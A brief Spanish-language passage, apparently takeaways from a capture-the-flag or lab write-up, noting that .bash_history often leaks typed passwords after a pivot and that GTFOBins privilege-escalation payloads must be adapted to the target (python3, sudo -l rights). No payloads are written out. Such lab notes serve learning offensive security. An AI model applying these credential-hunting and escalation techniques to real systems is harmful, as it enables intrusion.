  • El .bash_history es un clásico de fugas. Contraseñas tecleadas en línea de comandos quedan ahí; conviene revisarlo siempre tras cada pivote.
  • Los payloads de GTFOBins hay que adaptarlos. El de python falló porque en esta máquina el binario es python3. Copiar y pegar sin mirar qué autoriza exactamente el sudo -l cuesta tiempo.
Cheatsheet de comandos 25 comandos

Repaso rápido